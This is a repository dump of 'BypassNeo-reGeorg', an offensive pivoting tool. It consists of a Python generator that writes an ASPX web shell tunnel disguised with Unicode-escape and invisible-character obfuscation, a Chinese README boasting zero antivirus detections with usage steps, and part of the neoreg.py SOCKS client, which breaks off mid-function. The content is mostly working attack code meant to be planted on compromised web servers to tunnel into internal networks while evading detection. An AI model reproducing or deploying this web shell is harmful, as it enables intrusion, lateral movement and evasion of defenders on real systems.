├── BypassNeoASPX.py ├── README.md ├── img └── vt.png ├── neoreg.py └── templates └── tunnel.aspx /BypassNeoASPX.py: -------------------------------------------------------------------------------- 1 | import os 2 | import random 3 | import string 4 | 5 | def generate_random_string(length): 6 | # 定义可能出现的字符集合 7 | characters = string.ascii_letters + string.digits 8 | # 随机选择字符集合中的字符,生成指定长度的字符串 9 | return ''.join(random.choice(characters) for i in range(length)) 10 | 11 | def file_write(filename, data): 12 | try: 13 | with open(filename, 'w') as f: 14 | f.write(data) 15 | print("[Generate] Successed to write file: %s" % filename) 16 | print("[Please] Execute 'python3 neoreg.py generate -k password'") 17 | except: 18 | print("[Generate] Failed to write file: %s,Please confirm that the templates/ folder exists" % filename) 19 | exit() 20 | text = r''' 21 | 113 | <% 114 | int D\u202bAT\u202bA = 1; 115 | int C\u202cM\u202cD = 2; 116 | int M\u202aA\u202aRK = 3; 117 | int S\ufeffTA\ufeffTUS = 4; 118 | int \u0045\u0052\u0052\u004f\u0052 = 5; 119 | int I\u202cP\u202c = 6; 120 | int P\u202cOR\u202cT = 7; 121 | int \u0052\u0045\u0044\u202c\u0049\u0052\u0045\u202c\u0043\u0054\u0055\u0052\u004c = 8; 122 | int FORCE\u202cRED\u202cIR\u202cECT = 9; 123 | 124 | String \U00000047\U00000065\U0000006f\U00000072\U00000067\U00000048\U00000065\U0000006c\U0000006c\U0000006f = /*RandomCodeReplace*/"NEO, 'All OK'"/*RandomCodeReplace*/; 125 | 126 | Object[] \u0069\u006e\u0066\u006f = new /*RandomCodeReplace*/Object[40]; 127 | Object[] r\u0069\u006e\u0066\u006f = new /*RandomCodeReplace*/Object[40]; 128 | 129 | String e\u202bn = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; 130 | String d\u202be\u202d = /*RandomCodeReplace*/"BASE64 CHARSLIST"/*RandomCodeReplace*/; 131 | 132 | if (\U00000052\U00000065\U00000071\U00000075\U00000065\U00000073\U00000074./*RandomCodeReplace*/\u0043\u006f\u006e\u0074\u0065\u006e\u0074\u004c\u0065\u006e\u0067\u0074\u0068 != -1) { 133 | byte[] bu\u202af\u202af = new byte[\U00000052\U00000065\U00000071\U00000075\U00000065\U00000073\U00000074.\u0043\u006f\u006e\u0074\u0065\u006e\u0074\u004c\u0065\u006e\u0067\u0074\u0068]; 134 | \u0052\u0065\u0071\u202c\u0075\u0065\u0073\u202c\u0074./*RandomCodeReplace*/\u0049\u006e\u202c\u0070\u0075\u0074\u202c\u0053\u0074\u0072\u0065\u0061\u202a\u006d.\u0052\u202a\u0065\u0061\u0064\u202a(buff, 0, buff.Length); 135 | string b\u202a6\u202a4 = StrTr(\u0045\u006e\u202d\u0063\u006f\u202d\u0064\u0069\u202d\u006e\u0067.\u0044\ufeff\u0065\u0066\ufeff\u0061\u0075\u006c\u0074.\u0047\u0065\ufeff\u0074\u0053\u0074\u0072\ufeff\u0069\u006e\u0067\ufeff(buff), de, en); 136 | byte[] d\u202aa\u202ata = Con\u202cv\u202ce\u202crt.\U00000046\U00000072\U0000006f\U0000006d\U00000042\U00000061\U00000073\U00000065\U00000036\U00000034\U00000053\U00000074\U00000072\U00000069\U0000006e\U00000067(b64); 137 | \u0069\u006e\u0066\u006f = b\u202cl\u202bv_de\u202bco\u202bde(data); 138 | } 139 | 140 | String \U00000072\U00000055\U00000072\U0000006c = (String) \u0069\u006e\u0066\u006f[REDIRECTURL]; 141 | if (\U00000072\U00000055\U00000072\U0000006c != null){ 142 | \u0055\u0072\u0069 u = new /*RandomCodeReplace*/\u0055\u0072\u0069(\U00000072\U00000055\U00000072\U0000006c); 143 | \u0057\u0065\u0062\u0052\u0065\u0071\u0075\u0065\u0073\u0074 \U00000072\u202d\U00000065\U00000071\u202d\U00000075\U00000065\u202d\U00000073\U00000074 = \u0057\u0065\u202a\u0062\u0052\u0065\u202a\u0071\u0075\u0065\u0073\u0074.\u0043\u202a\u0072\u0065\u202a\u0061\u0074\u0065(u); 144 | request.\u004d\u0065\u0074\u0068\u006f\u0064 = Request.\u0048\u0074\u0074\u0070\u004d\u0065\u0074\u0068\u006f\u0064; 145 | foreach (string key in \U00000072\u202d\U00000065\U00000071\u202d\U00000075\U00000065\u202d\U00000073\U00000074.\u0048\u202a\u0065\u202a\u0061\u202a\u0064\u202a\u0065\u0072\u202a\u0073) 146 | { 147 | try{ 148 | \U00000072\u202d\U00000065\U00000071\u202d\U00000075\U00000065\u202d\U00000073\U00000074./*RandomCodeReplace*/\u0048\u202a\u0065\u202a\u0061\u202a\u0064\u202a\u0065\u0072\u202a\u0073.Add(key, \U00000072\u202d\U00000065\U00000071\u202d\U00000075\U00000065\u202d\U00000073\U00000074.\u0048\u202a\u0065\u202a\u0061\u202a\u0064\u202a\u0065\u0072\u202a\u0073.Get(key)); 149 | } catch (Exception e){} 150 | } 151 | 152 | try{ 153 | St\u202area\u202am b\u202aody = request./*RandomCodeReplace*/\u0047\u0065\u0074\u0052\u0065\u0071\u0075\u0065\u0073\u0074\u0053\u0074\u0072\u0065\u0061\u006d(); 154 | \u0069\u006e\u0066\u006f[REDIRECTURL] = null; 155 | byte[] data = \u0045\u006e\u202d\u0063\u202b\u006f\u0064\u0069\u006e\u0067/*RandomCodeReplace*/.\u0044\u0065\u202b\u0066\u0061\u202b\u0075\u202d\u006c\u202b\u0074/*RandomCodeReplace*/.\u0047\u0065\u0074\u202d\u0042\u0079\u0074\u0065\u202b\u0073(StrTr(Convert.ToBase64String(blv_encode(\u0069\u006e\u0066\u006f)), en, de)); 156 | \U00000062\u202e\U0000006f\U00000064\u202e\U00000079./*RandomCodeReplace*/Write(data, 0, data.Length); 157 | \U00000062\u202e\U0000006f\U00000064\u202e\U00000079./*RandomCodeReplace*/Close(); 158 | } catch (Exception e){} 159 | 160 | Http\u202dWebR\u202despo\u202dnse res\u202apon\u202ase = (HttpWebResponse)request./*RandomCodeReplace*/\u0047\u0065\u0074\u0052\u0065\u0073\u0070\u006f\u006e\u0073\u0065(); 161 | WebH\u202ceaderC\u202colle\u202cction webH\u202cead\u202cer = r\u202cespon\u202cse./*RandomCodeReplace*/Hea\u202cde\u202crs; 162 | for (int i=0;i < \u0077\u202d\u0065\u0062\u202a\u0048\u0065\u0061\u202a\u0064\u0065\u202a\u0072.Count; i++) 163 | { 164 | string r\u202ake\u202ay = \u0077\u202d\u0065\u0062\u202a\u0048\u0065\u0061\u202a\u0064\u0065\u202a\u0072.GetKey(i); 165 | if (r\u202ake\u202ay != "Content-Length" && r\u202ake\u202ay != /*RandomCodeReplace*/"Transfer-Encoding") 166 | R\u202bes\u202bpo\u202bnse\u202b.\u0041\u202c\u0064\u202c\u0064\u0048\u202c\u0065\u0061\u202c\u0064\u0065\u0072(r\u202ake\u202ay, \u0077\u202d\u0065\u0062\u202a\u0048\u0065\u0061\u202a\u0064\u0065\u202a\u0072[i]); 167 | } 168 | 169 | St\u202cream\u202cReader \u0072\u0065\u0070\u0042\u006f\u0064\u0079 = new /*RandomCodeReplace*/St\u202cream\u202cReader(response.\u0047\u0065\u0074\u0052\u0065\u0073\u0070\u006f\u006e\u0073\u0065Stream(), \u0045\u006e\u0063\u006f\u0064\u0069\u006e\u0067.\u0047\u0065\u0074\u0045\u006e\u0063\u006f\u0064\u0069\u006e\u0067("UTF-8")); 170 | string r\u202cbo\u202cdy = \u0072\u0065\u0070\u0042\u006f\u0064\u0079.Re\u202cad\u202cToEnd(); 171 | R\u202bes\u202bpo\u202bnse\u202b./*RandomCodeReplace*/\u0041\u202c\u0064\u202c\u0064\u0048\u202c\u0065\u0061\u202c\u0064\u0065\u0072("Content-Length", r\U00000062\u202e\U0000006f\U00000064\u202e\U00000079.Length.ToString()); 172 | R\u202bes\u202bpo\u202bnse\u202b./*RandomCodeReplace*/Write(r\U00000062\u202e\U0000006f\U00000064\u202e\U00000079); 173 | return; 174 | } 175 | 176 | R\u202bes\u202bpo\u202bnse\u202b.\u0053\u0074\u0061\u0074\u0075\u0073\u0043\u006f\u0064\u0065 = HTTPCODE; 177 | String c\u202bm\u202dd = (String) \u0069\u006e\u0066\u006f[CM\u202cD]; 178 | if (c\u202bm\u202dd != null) { 179 | String mark = (String) \u0069\u006e\u0066\u006f[MA\u202cRK]; 180 | if (c\u202bm\u202dd == "CONNECT") { 181 | try { 182 | Str\u202cing tar\u202cget = (String) \u0069\u006e\u0066\u006f[I\u202cP]; 183 | int po\u202crt = int.Pa\u202crs\u202ce((String) \u0069\u006e\u0066\u006f[PO\u202cRT]); 184 | IP\u202bAd\u202bd\u202bre\u202bss i\u202bp; 185 | try { 186 | /*RandomCodeReplace*/ 187 | i\u202bp = IP\u202bAd\u202bd\u202bre\u202bss.Pa\u202crs\u202ce(ta\u202crg\u202cet); 188 | } catch (Exception ex) { 189 | I\u202dPH\u202dos\u202dtEntr\u202dy ho\u202dst = D\u202bn\u202bs.\u0047\u0065\u0074\u0048\u006f\u0073\u0074\u0042\u0079\u004e\u0061\u006d\u0065(tar\u202cget); 190 | i\u202bp = ho\u202dst./*RandomCodeReplace*/\u0041\u0064\u0064\u0072\u0065\u0073\u0073\u004c\u0069\u0073\u0074[0]; 191 | } 192 | Sys\u202dtem.N\u202det.IPEn\u202ddPo\u202dint re\u202dmo\u202dteEP = new \u0049\u202b\u0050\u202b\u0045\u202b\u006e\u0064\u202b\u0050\u202b\u006f\u0069\u006e\u0074(i\u202cp, po\u202crt); 193 | S\u202cock\u202cet se\u202cn\u202cder = new So\u202cc\u202cket(Add\u202cres\u202csFam\u202cily.Int\u202cerNe\u202ctwo\u202crk, SocketType.St\u202cre\u202cam, Pr\u202cot\u202cocolTy\u202cpe.Tc\u202cp); 194 | IAsy\u202dncR\u202des\u202dult r\u202desu\u202dlt = sen\u202dder.Begi\u202dnCon\u202dne\u202dct(re\u202dmot\u202deEP,null,null); 195 | bool suc\u202dces\u202ds = resu\u202dlt.A\u202dsy\u202dnc\u202dWaitHan\u202dd\u202dle.WaitO\u202dn\u202de( 2000, true ); 196 | 197 | if ( \u0073\ufeff\u0065\ufeff\u006e\ufeff\u0064\u0065\u0072.Connected ) { 198 | \u0073\ufeff\u0065\ufeff\u006e\ufeff\u0064\u0065\u0072.Blocking = /*RandomCodeReplace*/false; 199 | Application.Add(mark, \u0073\ufeff\u0065\ufeff\u006e\ufeff\u0064\u0065\u0072); 200 | r\u0069\u006e\u0066\u006f[STATUS] = "OK"; 201 | } else { 202 | \u0073\ufeff\u0065\ufeff\u006e\ufeff\u0064\u0065\u0072.Close(); 203 | r\u0069\u006e\u0066\u006f[STATUS] = "FAIL"; 204 | if ( success ) { 205 | r\u0069\u006e\u0066\u006f[ERROR] = "P.o.r.t c.l.o.s.e"; 206 | } else { 207 | r\u0069\u006e\u0066\u006f[ERROR] = "P.o.r.t f.i.l.t.e.r.e.d"; 208 | } 209 | } 210 | } catch (Exception ex) { 211 | r\u0069\u006e\u0066\u006f[STATUS] = "FAIL"; 212 | r\u0069\u006e\u0066\u006f[ERROR] = ex./*RandomCodeReplace*/\U0000004d\U00000065\U00000073\U00000073\U00000061\U00000067\U00000065; 213 | } 214 | } else if (c\u202bm\u202dd == "DISCONNECT") { 215 | try { 216 | Soc\u202cket s = (Soc\u202cket)Appl\u202cicat\u202cion[mark];/*RandomCodeReplace*/ 217 | s.Close(); 218 | } catch (Exception ex){/*RandomCodeReplace*/ 219 | } 220 | Application.Remove(mark); 221 | } else if (c\u202bm\u202dd == "FORWARD") { 222 | Socket s = (Socket)Application[mark]; 223 | try { 224 | s.Send((byte[]) \u0069\u006e\u0066\u006f[DATA]); 225 | r\u0069\u006e\u0066\u006f[STATUS] = "OK"; 226 | } catch (Exception ex) { 227 | r\u0069\u006e\u0066\u006f[STATUS] = "FAIL"; 228 | r\u0069\u006e\u0066\u006f[ERROR] = ex.\U0000004d\U00000065\U00000073\U00000073\U00000061\U00000067\U00000065; 229 | } 230 | } else if (c\u202bm\u202dd == "READ") { 231 | try { 232 | So\u202eck\u202eet s = (Sock\u202eet)App\u202elicat\u202eion[m\u202ear\u202ek]; 233 | int max\u202eRea\u202ed = /*RandomCodeReplace*/MAXREADSIZE; 234 | int re\u202eadb\u202euflen = /*RandomCodeReplace*/READBUF; 235 | int r\u202eead\u202eLen = 0; 236 | byte[] re\u202eadB\u202euff = new /*RandomCodeReplace*/byte[re\u202eadbuf\u202elen]; 237 | \u004d\u0065\u202a\u006d\u006f\u202a\u0072\u0079\u202a\u0053\u0074\u202a\u0072\u0065\u0061\u006d readData = new \u004d\u0065\u202a\u006d\u006f\u202a\u0072\u0079\u202a\u0053\u0074\u202a\u0072\u0065\u0061\u006d(); 238 | try { 239 | int c = s.\u0052\u0065\u0063\u0065\u0069\u0076\u0065(rea\ufeffdBu\ufeffff); 240 | while (c > 0) { 241 | byte[] ne\ufeffwBu\ufeffff = new /*RandomCodeReplace*/byte[c]; 242 | System.Bu\ufeffffer./*RandomCodeReplace*/Blo\ufeffck\ufeffCop\ufeffy(rea\ufeffdBu\ufeffff, 0, ne\ufeffwB\ufeffuff, 0, c); 243 | string b6\ufeff4 = Conve\ufeffrt.ToB\ufeffase6\ufeff4Stri\ufeffng(newBuff); 244 | re\ufeffadD\ufeffata.Wr\ufeffite(n\u202aewBu\u202aff, 0, c); 245 | readL\ufeffen += c; 246 | if (c < rea\u202adbuf\u202alen || re\u202aad\u202aLen >= m\u202aax\u202aRe\u202aad) 247 | break; 248 | c = s./*RandomCodeReplace*/\u0052\u0065\u0063\u0065\u0069\u0076\u0065(re\u202aad\u202aBuf\u202af); 249 | } 250 | r\u0069\u006e\u0066\u006f[DATA] = rea\ufeffdDa\ufeffta.\u0054\u202d\u006f\u0041\u202d\u0072\u0072\u202d\u0061\u0079(); 251 | r\u0069\u006e\u0066\u006f[STATUS] = /*RandomCodeReplace*/"OK"; 252 | } catch (SocketException ex) { 253 | /*RandomCodeReplace*/ 254 | r\u0069\u006e\u0066\u006f[STATUS] = "OK"; 255 | } 256 | } catch (Exc\ufeffep\ufefftion ex) { 257 | r\u0069\u006e\u0066\u006f[STA\ufeffTUS] = "FAIL"; 258 | r\u0069\u006e\u0066\u006f[ERR\ufeffOR] = ex./*RandomCodeReplace*/\U0000004d\U00000065\U00000073\U00000073\U00000061\U00000067\U00000065; 259 | } 260 | } 261 | R\u202bes\u202bpo\u202bnse\u202b.Write(S\ufefftr\ufeffTr(Con\ufeffve\ufeffrt.To\ufeffBase6\ufeff4Str\ufeffing(bl\ufeffv_en\ufeffcod\ufeffe(r\u0069\u006e\u0066\u006f)), e\ufeffn, d\ufeffe)); 262 | } else { 263 | R\u202bes\u202bpo\u202bnse\u202b./*RandomCodeReplace*/Write(\u0045\u006e\u202d\u0063\u006f\u202d\u0064\u0069\u202d\u006e\u0067.\u0044\ufeff\u0065\u0066\ufeff\u0061\u0075\u006c\u0074.\u0047\u0065\ufeff\u0074\u0053\u0074\u0072\ufeff\u0069\u006e\u0067\ufeff(Convert.\U00000046\U00000072\U0000006f\U0000006d\U00000042\U00000061\U00000073\U00000065\U00000036\U00000034\U00000053\U00000074\U00000072\U00000069\U0000006e\U00000067(StrTr(\U00000047\U00000065\U0000006f\U00000072\U00000067\U00000048\U00000065\U0000006c\U0000006c\U0000006f, d\ufeffe, e\ufeffn)))); 264 | } 265 | %> 266 | <%@ Page Language="C#" EnableSessionState="True"%> 267 | <%@ Import Namespace="Sys\ufeffte\u202dm.I\ufeffO" %> 268 | <%@ Import Namespace="Syst\ufeffe\u202dm.N\ufeffet" %> 269 | <%@ Import Namespace="Sys\ufeffte\u202dm.Te\ufeffxt" %> 270 | <%@ Import Namespace="Syst\ufeffe\u202dm.N\ufeffet.So\u202dck\u202dets" %> 271 | <%@ Import Namespace="Syste\ufeffm\u202d.Coll\ufeffectio\u202dns" %> 272 | ''' 273 | text2='''''' 274 | for line in text.splitlines(): 275 | if "RandomCodeReplace" in line: 276 | # 生成一个长度为 30 的随机字符串 277 | random_string = generate_random_string(30) 278 | line = line.replace(r"RandomCodeReplace", random_string) 279 | text2 = text2+line+'\n' 280 | else: 281 | text2 = text2+line+'\n' 282 | 283 | filepath = os.getcwd() 284 | outfile = filepath+'/templates/tunnel.aspx' 285 | file_write(outfile, text2) 286 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # BypassNeo-reGeorg 2 | 3 | ![BypassNeo-reGeorg](https://socialify.git.ci/r00tSe7en/BypassNeo-reGeorg/image?description=1&forks=1&issues=1&language=1&name=1&owner=1&pattern=Floating%20Cogs&pulls=1&stargazers=1&theme=Dark) 4 | 5 | 6 | # 免杀效果 7 | 8 | > 对于默认生成的php和jsp,Neo-reGeorg自身免杀效果就很好,暂时不需要处理。 9 | 10 | ![](img/vt.png) 11 | 12 | # 使用方法 13 | ``` 14 | 一定要用使用本项目里的neoreg.py,其余操作和原版一致 15 | ``` 16 | 1)使用 `BypassNeoASPX.py` 生成 `templates/tunnel.aspx` 17 | 18 | 2)`python neoreg.py generate -k password` 19 | 20 | 3 ) `python3 neoreg.py -k password -u http://xx/tunnel.aspx` 21 | 22 | # 相关修改 23 | 24 | ### [BypassNeoASPX.py] 25 | 26 | \\-VT查杀0报毒:https://www.virustotal.com/gui/file/a7216e7f19fc068208927f221c302e5e710ab9e0da1a2762288f44b96bcc01f1?nocache=1 27 | 28 | \\-修改默认文本内容 `NeoGeorg says, 'All seems fine'` => `NEO, 'All OK'` 29 | 30 | \\-aspx免杀处理( https://xz.aliyun.com/t/11953 ) 31 | 32 | ### [neoreg.py] 33 | 34 | \\-修改默认文本内容 `NeoGeorg says, 'All seems fine'` => `NEO, 'All OK'` 35 | 36 | ## Version 37 | 38 | 5.0.1 - [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg) 39 | 40 | ## 免责声明 41 | 42 | 此工具仅限于安全研究和教学,用户承担因使用此工具而导致的所有法律和相关责任! 作者不承担任何法律和相关责任! -------------------------------------------------------------------------------- /img/vt.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r00tSe7en/BypassNeo-reGeorg/072765335bddc98eccaa2dc0b756627dcd4d0d3e/img/vt.png -------------------------------------------------------------------------------- /neoreg.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | __author__ = 'L' 5 | __version__ = '5.0.1' 6 | 7 | import sys 8 | import os 9 | import re 10 | import base64 11 | import struct 12 | import random 13 | import hashlib 14 | import logging 15 | import argparse 16 | import requests 17 | import uuid 18 | import codecs 19 | from collections import defaultdict 20 | from time import sleep, time, mktime 21 | from datetime import datetime 22 | from socket import * 23 | from itertools import chain 24 | from threading import Thread 25 | 26 | requests.packages.urllib3.disable_warnings() 27 | 28 | ROOT = os.path.dirname(os.path.realpath(__file__)) 29 | 30 | ispython3 = True if sys.version_info >= (3, 0) else False 31 | 32 | # Constants 33 | SOCKTIMEOUT = 5 34 | VER = b"\x05" 35 | METHOD = b"\x00" 36 | SUCCESS = b"\x00" 37 | REFUSED = b"\x05" 38 | #SOCKFAIL = b"\x01" 39 | #NETWORKFAIL = b"\x02" 40 | #HOSTFAIL = b"\x04" 41 | #TTLEXPIRED = b"\x06" 42 | #UNSUPPORTCMD = b"\x07" 43 | #ADDRTYPEUNSPPORT = b"\x08" 44 | #UNASSIGNED = b"\x09" 45 | 46 | # Globals 47 | READBUFSIZE = 7 48 | MAXTHERADS = 400 49 | MAXRETRY = 10 50 | READINTERVAL = 300 51 | WRITEINTERVAL = 200 52 | PHPTIMEOUT = 0.5 53 | 54 | # Logging 55 | RESET_SEQ = "\033[0m" 56 | COLOR_SEQ = "\033[1;%dm" 57 | BOLD_SEQ = "\033[1m" 58 | 59 | BLACK, RED, GREEN, YELLOW, BLUE, MAGENTA, CYAN, WHITE = range(8) 60 | 61 | # CRITICAL > ERROR > WARNING > INFO > DEBUG > NOTSET 62 | LEVEL = [ 63 | ('ERROR', logging.ERROR), 64 | ('WARNING', logging.WARNING), 65 | ('INFO', logging.INFO), 66 | ('DEBUG', logging.DEBUG), 67 | ] 68 | 69 | COLORS = { 70 | 'WARNING': YELLOW, 71 | 'INFO': WHITE, 72 | 'DEBUG': BLUE, 73 | 'CRITICAL': YELLOW, 74 | 'ERROR': RED, 75 | 'RED': RED, 76 | 'GREEN': GREEN, 77 | 'YELLOW': YELLOW, 78 | 'BLUE': BLUE, 79 | 'MAGENTA': MAGENTA, 80 | 'CYAN': CYAN, 81 | 'WHITE': WHITE, 82 | } 83 | 84 | BLVHEAD = { 85 | 'DATA': 1, 86 | 'CMD': 2, 87 | 'MARK': 3, 88 | 'STATUS': 4, 89 | 'ERROR': 5, 90 | 'IP': 6, 91 | 'PORT': 7, 92 | 'REDIRECTURL': 8, 93 | 'FORCEREDIRECT': 9, 94 | } 95 | BLVHEAD_REVERSE = {} 96 | for k, v in BLVHEAD.items(): 97 | BLVHEAD_REVERSE[v] = k 98 | BLVHEAD_LEN = len(BLVHEAD) 99 | 100 | 101 | def blv_encode(info): 102 | head_len = random.randint(5, 20) 103 | tail_len = random.randint(5, 20) 104 | head_rand = os.urandom(head_len) 105 | tail_rand = os.urandom(tail_len) 106 | 107 | data = struct.pack('>bi{len}s'.format(len=head_len), 0, head_len + BLV_L_OFFSET, head_rand) # 头部填充 108 | 109 | for k, v in info.items(): 110 | if v: 111 | b = BLVHEAD[k] 112 | if ispython3 and type(v) == str: 113 | v = v.encode() 114 | l = len(v) 115 | data += struct.pack('>bi{len}s'.format(len=l), b, l + BLV_L_OFFSET, v) 116 | 117 | 118 | data += struct.pack('>bi{len}s'.format(len=tail_len), 39, tail_len + BLV_L_OFFSET, tail_rand) # 尾部填充 119 | return data 120 | 121 | 122 | def blv_decode(data): 123 | data_len = len(data) 124 | if data_len == 0: 125 | return None 126 | 127 | info = defaultdict(bytes) 128 | i = 0 129 | 130 | while i < data_len: 131 | try: 132 | b, l = struct.unpack('>bi', data[i:i+5]) 133 | l -= BLV_L_OFFSET 134 | except struct.error: 135 | return None 136 | i += 5 137 | v = data[i:i+l] 138 | i += l 139 | if i > data_len: 140 | return None 141 | 142 | if b > 0 and b < BLVHEAD_LEN: 143 | name = BLVHEAD_REVERSE[b] 144 | if name != 'DATA': 145 | if name != 'ERROR': 146 | v = v.decode() 147 | else: 148 | try: 149 | try: 150 | v = v.decode() 151 | except UnicodeDecodeError: 152 | try: 153 | v = v.decode('gbk') 154 | except: 155 | pass 156 | except Exception as ex: 157 | log.error("[BLV Decode] [%s] => %s" % (name, repr(v))) 158 | raise ex 159 | info[name] = v 160 | 161 | return info 162 | 163 | 164 | def int_to_bytes(n): 165 | h = '%x' % n 166 | if len(h) % 2 != 0: 167 | h = '0' + h 168 | return codecs.decode(h, 'hex') 169 | 170 | def encode_body(info): 171 | data = blv_encode(info) 172 | data = base64.b64encode(data) 173 | if ispython3: 174 | data = data.decode() 175 | return data.translate(EncodeMap) 176 | 177 | 178 | def decode_body(data): 179 | if ispython3: 180 | data = data.decode() 181 | try: 182 | data = base64.b64decode(data.translate(DecodeMap)) 183 | except: 184 | raise NeoregReponseFormatError("Base64 decode error") 185 | return blv_decode(data) 186 | 187 | 188 | def file_read(filename): 189 | try: 190 | with codecs.open(filename, encoding="utf-8") as f: 191 | return f.read() 192 | except: 193 | log.error("[Generate] Failed to read file: %s" % filename) 194 | exit() 195 | 196 | 197 | def file_write(filename, data): 198 | try: 199 | with open(filename, 'w') as f: 200 | f.write(data) 201 | except: 202 | log.error("[Generate] Failed to write file: %s" % filename) 203 | exit() 204 | 205 | 206 | def formatter_message(message, use_color=True): 207 | if use_color: 208 | message = message.replace("$RESET", RESET_SEQ).replace("$BOLD", BOLD_SEQ) 209 | else: 210 | message = message.replace("$RESET", "").replace("$BOLD", "") 211 | return message 212 | 213 | 214 | class ColoredFormatter(logging.Formatter): 215 | def __init__(self, msg, use_color=True): 216 | logging.Formatter.__init__(self, msg) 217 | self.use_color = use_color 218 | 219 | def format(self, record): 220 | levelname = record.levelname 221 | if self.use_color and levelname in COLORS: 222 | levelname_color = COLOR_SEQ % (30 + COLORS[levelname]) + levelname + RESET_SEQ 223 | record.levelname = levelname_color 224 | return logging.Formatter.format(self, record) 225 | 226 | 227 | class ColoredLogger(logging.Logger): 228 | 229 | def __init__(self, name): 230 | use_color = not sys.platform.startswith('win') 231 | FORMAT = "[$BOLD%(levelname)-19s$RESET] %(message)s" 232 | COLOR_FORMAT = formatter_message(FORMAT, use_color) 233 | logging.Logger.__init__(self, name, 'INFO') 234 | if (name == "transfer"): 235 | COLOR_FORMAT = "\x1b[80D\x1b[1A\x1b[K%s" % COLOR_FORMAT 236 | color_formatter = ColoredFormatter(COLOR_FORMAT, use_color) 237 | console = logging.StreamHandler() 238 | console.setFormatter(color_formatter) 239 | self.addHandler(console) 240 | 241 | 242 | logging.setLoggerClass(ColoredLogger) 243 | log = logging.getLogger(__name__) 244 | transferLog = logging.getLogger("transfer") 245 | 246 | 247 | class SocksCmdNotImplemented(Exception): 248 | pass 249 | 250 | 251 | class NeoregReponseFormatError(Exception): 252 | pass 253 | 254 | 255 | class Rand: 256 | def __init__(self, key): 257 | salt = b'11f271c6lm0e9ypkptad1uv6e1ut1fu0pt4xillz1w9bbs2gegbv89z9gca9d6tbk025uvgjfr331o0szln' 258 | key_min_len = 28 259 | # 密码强度不足时,使用加盐hash 260 | if len(key) < key_min_len: 261 | key_hash = hashlib.md5(salt[:key_min_len] + key.encode() + salt[key_min_len:]).hexdigest() 262 | else: 263 | key_hash = key 264 | n = int(codecs.encode(key_hash[:key_min_len].encode(), 'hex'), 16) 265 | self.v_clen = pow(n, int(salt[:key_min_len],36), int(salt[key_min_len:],36)) 266 | random.seed(n) 267 | 268 | def rand_value(self): 269 | rand = base64.b64encode(int_to_bytes((random.getrandbits(int(random.random() * 300) + 30) << 280)+self.v_clen)) 270 | if ispython3: 271 | rand = rand.decode() 272 | return rand.rstrip('=') 273 | 274 | def base64_chars(self, charslist): 275 | if sys.version_info >= (3, 2): 276 | newshuffle = random.shuffle 277 | else: 278 | try: 279 | xrange 280 | except NameError: 281 | xrange = range 282 | def newshuffle(x): 283 | def _randbelow(n): 284 | getrandbits = random.getrandbits 285 | k = n.bit_length() 286 | r = getrandbits(k) 287 | while r >= n: 288 | r = getrandbits(k) 289 | return r 290 | 291 | for i in xrange(len(x) - 1, 0, -1): 292 | j = _randbelow(i+1) 293 | x[i], x[j] = x[j], x[i] 294 | 295 | newshuffle(charslist) 296 | 297 | 298 | class session(Thread): 299 | def __init__(self, conn, pSocket, connectURLs, redirectURLs, FwdTarget, force_redirect): 300 | Thread.__init__(self) 301 | self.pSocket = pSocket 302 | self.connectURLs = connectURLs 303 | self.conn = conn 304 | self.connect_closed = False 305 | self.session_connected = False 306 | self.fwd_target = FwdTarget 307 | self.redirectURL = None 308 | self.force_redirect = force_redirect 309 | if redirectURLs: 310 | self.redirectURL = random.choice(redirectURLs) 311 | 312 | 313 | def url_sample(self): 314 | return random.choice(self.connectURLs) 315 | 316 | 317 | def session_mark(self): 318 | mark = base64.b64encode(uuid.uuid4().bytes)[0:-8] 319 | if ispython3: 320 | mark = mark.decode() 321 | return mark 322 | 323 | 324 | def parseSocks5(self, sock): 325 | log.debug("[SOCKS5] Version5 detected") 326 | nmethods = sock.recv(1) 327 | methods = sock.recv(ord(nmethods)) 328 | sock.sendall(VER + METHOD) 329 | ver = sock.recv(1) 330 | if ver == b"\x02": # this is a hack for proxychains 331 | ver, cmd, rsv, atyp = (sock.recv(1), sock.recv(1), sock.recv(1), sock.recv(1)) 332 | else: 333 | cmd, rsv, atyp = (sock.recv(1), sock.recv(1), sock.recv(1)) 334 | target = None 335 | targetPort = None 336 | if atyp == b"\x01": # IPv4 337 | target = sock.recv(4) 338 | targetPort = sock.recv(2) 339 | target = inet_ntoa(target) 340 | elif atyp == b"\x03": # Hostname 341 | targetLen = ord(sock.recv(1)) # hostname length (1 byte) 342 | target = sock.recv(targetLen) 343 | targetPort = sock.recv(2) 344 | if LOCALDNS: 345 | try: 346 | target = gethostbyname(target) 347 | except: 348 | log.error("[SOCKS5] DNS resolution failed: (%s)" % target.decode()) 349 | return False 350 | else: 351 | target = target.decode() 352 | elif atyp == b"\x04": # IPv6 353 | target = sock.recv(16) 354 | targetPort = sock.recv(2) 355 | target = inet_ntop(AF_INET6, target) 356 | 357 | if targetPort == None: 358 | return False 359 | 360 | targetPortNum = struct.unpack('>H', targetPort)[0] 361 | 362 | if cmd == b"\x02": # BIND 363 | raise SocksCmdNotImplemented("Socks5 - BIND not implemented") 364 | elif cmd == b"\x03": # UDP 365 | raise SocksCmdNotImplemented("Socks5 - UDP not implemented") 366 | elif cmd == b"\x01": # CONNECT 367 | try: 368 | serverIp = inet_aton(target) 369 | except: 370 | # Forged temporary address 127.0.0.1 371 | serverIp = inet_aton('127.0.0.1') 372 | mark = self.setupRemoteSession(target, targetPortNum) 373 | if mark: 374 | sock.sendall(VER + SUCCESS + b"\x00" + b"\x01" + serverIp + targetPort) 375 | return True 376 | else: 377 | sock.sendall(VER + REFUSED + b"\x00" + b"\x01" + serverIp + targetPort) 378 | return False 379 | 380 | raise SocksCmdNotImplemented("Socks5 - Unknown CMD") 381 | 382 | 383 | def handleSocks(self, sock): 384 | try: 385 | ver = sock.recv(1) 386 | if ver == b"\x05": 387 | res = self.parseSocks5(sock) 388 | if not res: 389 | sock.close() 390 | return res 391 | elif ver == b'': 392 | log.error("[SOCKS5] Failed to get version") 393 | else: 394 | log.error("[SOCKS5] Only support Socks5 protocol") 395 | return False 396 | except OSError: 397 | return False 398 | except timeout: 399 | return False 400 | 401 | 402 | def handleFwd(self, sock): 403 | log.debug("[PORT FWD] Forward detected") 404 | 